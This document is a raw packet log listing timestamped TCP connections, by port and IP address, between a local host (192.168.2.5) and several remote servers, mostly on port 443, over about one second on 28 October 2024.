Oct 28, 2024 18:43:32.018476963 CET	63532	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:32.018497944 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:32.020144939 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:32.020210981 CET	63532	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:32.021311045 CET	63532	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:32.021399021 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:32.021569967 CET	63532	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:32.021578074 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:32.047003984 CET	63540	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:32.047075987 CET	443	63540	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:32.047149897 CET	63541	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:32.047189951 CET	443	63541	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:32.047204018 CET	63540	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:32.047249079 CET	63541	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:32.047380924 CET	63540	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:32.047400951 CET	443	63540	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:32.047478914 CET	63541	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:32.047487974 CET	443	63541	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:32.053050041 CET	443	63533	23.218.232.160	192.168.2.5
Oct 28, 2024 18:43:32.056574106 CET	443	63533	23.218.232.160	192.168.2.5
Oct 28, 2024 18:43:32.056582928 CET	443	63533	23.218.232.160	192.168.2.5
Oct 28, 2024 18:43:32.056605101 CET	443	63533	23.218.232.160	192.168.2.5
Oct 28, 2024 18:43:32.056613922 CET	443	63533	23.218.232.160	192.168.2.5
Oct 28, 2024 18:43:32.056636095 CET	63533	443	192.168.2.5	23.218.232.160
Oct 28, 2024 18:43:32.056651115 CET	443	63533	23.218.232.160	192.168.2.5
Oct 28, 2024 18:43:32.056675911 CET	443	63533	23.218.232.160	192.168.2.5
Oct 28, 2024 18:43:32.056690931 CET	63533	443	192.168.2.5	23.218.232.160
Oct 28, 2024 18:43:32.056736946 CET	63533	443	192.168.2.5	23.218.232.160
Oct 28, 2024 18:43:32.057635069 CET	63533	443	192.168.2.5	23.218.232.160
Oct 28, 2024 18:43:32.057643890 CET	443	63533	23.218.232.160	192.168.2.5
Oct 28, 2024 18:43:32.090569019 CET	443	63536	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:32.103281975 CET	63536	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:32.103297949 CET	443	63536	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:32.104485035 CET	63536	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:32.104489088 CET	443	63536	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:32.105524063 CET	443	63535	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:32.106544971 CET	63535	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:32.106611967 CET	443	63535	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:32.107093096 CET	63535	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:32.107110977 CET	443	63535	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:32.116740942 CET	63532	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:32.157310963 CET	443	63537	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:32.157880068 CET	63537	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:32.157905102 CET	443	63537	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:32.158442974 CET	63537	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:32.158452988 CET	443	63537	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:32.173854113 CET	443	63538	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:32.174748898 CET	63538	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:32.174763918 CET	443	63538	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:32.175209045 CET	63538	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:32.175214052 CET	443	63538	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:32.195808887 CET	443	63534	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:32.196542025 CET	63534	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:32.196561098 CET	443	63534	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:32.197310925 CET	63534	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:32.197320938 CET	443	63534	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:32.246870995 CET	443	63536	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:32.246943951 CET	443	63536	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:32.247128963 CET	443	63535	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:32.247167110 CET	63536	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:32.247277021 CET	443	63535	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:32.247339964 CET	63535	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:32.251178026 CET	63536	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:32.251188040 CET	443	63536	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:32.251199007 CET	63536	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:32.251203060 CET	443	63536	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:32.251756907 CET	63535	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:32.251804113 CET	443	63535	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:32.251856089 CET	63535	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:32.251871109 CET	443	63535	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:32.254539967 CET	63542	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:32.254570007 CET	443	63542	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:32.254723072 CET	63542	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:32.255098104 CET	63542	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:32.255126953 CET	443	63542	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:32.256232977 CET	63543	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:32.256247044 CET	443	63543	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:32.256510019 CET	63543	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:32.256634951 CET	63543	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:32.256645918 CET	443	63543	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:32.312760115 CET	443	63537	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:32.312931061 CET	443	63537	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:32.312989950 CET	63537	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:32.313359022 CET	63537	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:32.313359022 CET	63537	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:32.313379049 CET	443	63537	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:32.313391924 CET	443	63537	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:32.319544077 CET	443	63538	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:32.319706917 CET	443	63538	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:32.320044041 CET	63538	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:32.322820902 CET	63544	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:32.322877884 CET	443	63544	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:32.322977066 CET	63544	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:32.323029995 CET	63538	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:32.323035002 CET	443	63538	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:32.323043108 CET	63538	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:32.323045969 CET	443	63538	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:32.326508045 CET	63545	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:32.326531887 CET	443	63545	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:32.326587915 CET	63545	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:32.326719046 CET	63545	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:32.326731920 CET	443	63545	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:32.326800108 CET	63544	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:32.326838017 CET	443	63544	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:32.331981897 CET	443	63534	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:32.332762003 CET	443	63534	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:32.332843065 CET	63534	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:32.333797932 CET	63534	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:32.333813906 CET	443	63534	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:32.333826065 CET	63534	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:32.333833933 CET	443	63534	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:32.336555958 CET	63546	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:32.336582899 CET	443	63546	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:32.336654902 CET	63546	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:32.336834908 CET	63546	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:32.336863041 CET	443	63546	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:32.340389967 CET	443	63539	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:32.340677977 CET	63539	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:32.340698957 CET	443	63539	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:32.342231035 CET	443	63539	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:32.342317104 CET	63539	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:32.352677107 CET	63539	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:32.352823019 CET	443	63539	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:32.355596066 CET	63547	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:32.355603933 CET	443	63547	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:32.355667114 CET	63547	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:32.356090069 CET	63548	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:32.356106043 CET	443	63548	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:32.356174946 CET	63548	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:32.356275082 CET	63539	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:32.356317997 CET	443	63539	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:32.358807087 CET	63548	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:32.358819962 CET	443	63548	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:32.358942032 CET	63547	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:32.358956099 CET	443	63547	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:32.406698942 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:32.406727076 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:32.406735897 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:32.406748056 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:32.406765938 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:32.406774998 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:32.406789064 CET	63532	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:32.406816959 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:32.406831026 CET	63532	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:32.406872988 CET	63532	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:32.455606937 CET	63539	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:32.719647884 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:32.719702005 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:32.720377922 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:32.720388889 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:32.720449924 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:32.720458984 CET	63532	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:32.720484018 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:32.720510960 CET	63532	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:32.720530987 CET	63532	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:32.724920988 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:32.724942923 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:32.724983931 CET	63532	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:32.724992990 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:32.725011110 CET	63532	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:32.725025892 CET	63532	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:32.726703882 CET	443	63539	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:32.726759911 CET	443	63539	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:32.726779938 CET	443	63539	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:32.726799011 CET	443	63539	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:32.726816893 CET	63539	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:32.726845980 CET	443	63539	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:32.726872921 CET	63539	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:32.726917982 CET	443	63539	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:32.726937056 CET	443	63539	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:32.726953983 CET	443	63539	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:32.726984024 CET	63539	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:32.727020025 CET	443	63539	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:32.727042913 CET	63539	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:32.727881908 CET	443	63539	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:32.727902889 CET	443	63539	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:32.727946043 CET	63539	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:32.727962017 CET	443	63539	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:32.727994919 CET	443	63539	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:32.728013039 CET	443	63539	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:32.728051901 CET	63539	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:32.728070021 CET	443	63539	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:32.728095055 CET	63539	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:32.730334044 CET	443	63506	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:32.730361938 CET	443	63506	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:32.730385065 CET	443	63506	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:32.730427980 CET	63506	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:32.730453968 CET	443	63506	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:32.730479956 CET	63506	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:32.730505943 CET	63506	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:32.730510950 CET	443	63506	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:32.731656075 CET	63506	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:32.732285023 CET	63506	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:32.732285976 CET	63506	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:32.732307911 CET	443	63506	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:32.732331991 CET	443	63506	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:32.732935905 CET	443	63541	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:32.733355045 CET	63541	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:32.733364105 CET	443	63541	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:32.733416080 CET	443	63540	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:32.733584881 CET	63540	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:32.733613968 CET	443	63540	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:32.734487057 CET	443	63541	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:32.734750986 CET	443	63540	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:32.735589027 CET	63541	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:32.735795975 CET	443	63541	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:32.735914946 CET	63540	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:32.736176014 CET	443	63540	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:32.753142118 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:32.753175974 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:32.753213882 CET	63532	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:32.753220081 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:32.753252029 CET	63532	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:32.753276110 CET	63532	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:32.818831921 CET	63540	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:32.837063074 CET	443	63539	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:32.837096930 CET	443	63539	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:32.837110043 CET	443	63539	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:32.837265968 CET	63539	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:32.837291002 CET	443	63539	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:32.837304115 CET	443	63539	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:32.837354898 CET	63539	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:32.849225998 CET	63541	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:32.868304014 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:32.868335962 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:32.868391037 CET	63532	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:32.868458986 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:32.868495941 CET	63532	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:32.868520021 CET	63532	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:32.886462927 CET	63551	443	192.168.2.5	4.152.199.46
Oct 28, 2024 18:43:32.886498928 CET	443	63551	4.152.199.46	192.168.2.5
Oct 28, 2024 18:43:32.886699915 CET	63551	443	192.168.2.5	4.152.199.46
Oct 28, 2024 18:43:32.886938095 CET	63551	443	192.168.2.5	4.152.199.46
Oct 28, 2024 18:43:32.886953115 CET	443	63551	4.152.199.46	192.168.2.5
Oct 28, 2024 18:43:32.954446077 CET	443	63539	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:32.954457045 CET	443	63539	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:32.954477072 CET	443	63539	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:32.954487085 CET	443	63539	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:32.954495907 CET	443	63539	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:32.954508066 CET	63539	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:32.954525948 CET	443	63539	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:32.954556942 CET	63539	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:32.954587936 CET	63539	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:32.955435038 CET	443	63539	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:32.955490112 CET	63539	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:32.955506086 CET	443	63539	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:32.955526114 CET	443	63539	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:32.955564976 CET	63539	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:32.961152077 CET	63539	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:32.961175919 CET	443	63539	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:32.965019941 CET	443	63548	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:32.965033054 CET	443	63547	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:32.965584040 CET	63547	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:32.965600967 CET	443	63547	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:32.965744972 CET	63548	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:32.965764046 CET	443	63548	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:32.966650009 CET	443	63547	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:32.966713905 CET	63547	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:32.966804981 CET	443	63548	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:32.966885090 CET	63548	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:32.967554092 CET	63548	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:32.967616081 CET	443	63548	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:32.972378969 CET	63547	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:32.972451925 CET	443	63547	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:32.983506918 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:32.983530045 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:32.983617067 CET	63532	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:32.983632088 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:32.983648062 CET	63532	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:32.983697891 CET	63532	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:32.997637987 CET	443	63542	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:32.998294115 CET	63542	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:32.998330116 CET	443	63542	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:32.999025106 CET	63542	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:32.999039888 CET	443	63542	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:33.007523060 CET	63548	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:33.007538080 CET	443	63548	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:33.022205114 CET	63547	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:33.022213936 CET	443	63547	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:33.032669067 CET	443	63543	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:33.033457994 CET	63543	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:33.033476114 CET	443	63543	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:33.033932924 CET	63543	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:33.033943892 CET	443	63543	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:33.048749924 CET	443	63544	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:33.049231052 CET	63544	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:33.049258947 CET	443	63544	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:33.049835920 CET	63544	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:33.049841881 CET	443	63544	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:33.056977987 CET	63548	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:33.072264910 CET	63547	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:33.079297066 CET	443	63546	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:33.085285902 CET	63546	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:33.085309029 CET	443	63546	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:33.085927010 CET	63546	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:33.085932970 CET	443	63546	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:33.097270966 CET	443	63545	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:33.098181009 CET	63545	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:33.098195076 CET	443	63545	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:33.098660946 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:33.098710060 CET	63545	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:33.098714113 CET	443	63545	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:33.098747969 CET	63532	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:33.098812103 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:33.098861933 CET	63532	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:33.104188919 CET	63552	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:33.104223967 CET	443	63552	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:33.104300976 CET	63552	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:33.105511904 CET	63552	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:33.105521917 CET	443	63552	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:33.126753092 CET	443	63542	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:33.126955032 CET	443	63542	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:33.127042055 CET	63542	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:33.127273083 CET	63542	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:33.127285957 CET	443	63542	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:33.127305031 CET	63542	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:33.127320051 CET	443	63542	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:33.130604029 CET	63553	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:33.130686998 CET	443	63553	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:33.130981922 CET	63553	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:33.131202936 CET	63553	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:33.131238937 CET	443	63553	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:33.157526970 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:33.157553911 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:33.157598019 CET	63532	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:33.157608986 CET	443	63532	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:33.157636881 CET	63532	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:33.157660007 CET	63532	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:33.167035103 CET	443	63543	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:33.167259932 CET	443	63543	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:33.167330980 CET	63543	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:33.167480946 CET	63543	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:33.167488098 CET	443	63543	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:33.167496920 CET	63543	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:33.167500973 CET	443	63543	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:33.175096035 CET	63554	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:33.175187111 CET	443	63554	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:33.175673962 CET	63554	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:33.177531958 CET	63554	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:33.177567959 CET	443	63554	13.107.246.51	192.168.2.5
